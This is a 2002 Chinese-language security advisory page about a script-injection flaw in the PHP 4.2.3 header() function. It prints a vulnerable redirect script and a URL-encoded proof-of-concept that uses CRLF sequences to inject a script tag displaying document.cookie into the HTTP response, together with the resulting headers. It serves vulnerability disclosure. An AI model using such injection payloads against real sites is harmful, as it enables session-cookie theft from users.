xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

PHP Header函数存在脚本插入漏洞


发布时间:2002-09-18
更新时间:2002-09-18
严重程度:
威胁程度:用户敏感信息泄露
错误类型:输入验证错误
利用方式:客户机模式

BUGTRAQ ID:5669

受影响系统
PHP PHP 4.2.3
详细描述
PHP是流行开放源代码的脚本语言。

PHP头函数存在漏洞,可以使用户在URL中提供任意脚本代码,而导致把恶意脚本代码插入到HTTP头信息中。

测试代码
如有以下的PHP脚本代码:

--- REDIR.PHP ---
<?php header("Location: $_GET['$url']"); ?>
--- REDIR.PHP ---

提交如下URL

http://localhost/redir.php?url=%68%74%74%70%3A%2F%2F%77%77%77%2E%79%61%68%6F
%6F%2E%63%6F%6D%2F%0D%0A%0D%0A%3C%53%43%52%49%50%54%3E%61%6C%65%72%74%28%64%
6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%53%43%52%49%50%54%3E%3C%2
1%2D%2D

会产生如下HTTP头信息:

HTTP/1.1 302 Found
Server: Xitami
Date: Sat, 07 Sep 2002 21:50:17 GMT
Content-length: 96
Content-type: text/html
X-powered-by: PHP/4.2.3
{Location: http://www.yahoo.com/


<SCRIPT>alert(document.cookie)</SCRIPT><!--}        <-- See our code in
between the brackets
Content-type: text/html

可导致脚本代码执行,信息泄露。

解决方案


相关信息
Matthew Murphy <mattmurphy@kc.rr.com>.
参考:http://online.securityfocus.com/archive/1/290872
相关主页:http://www.php.net/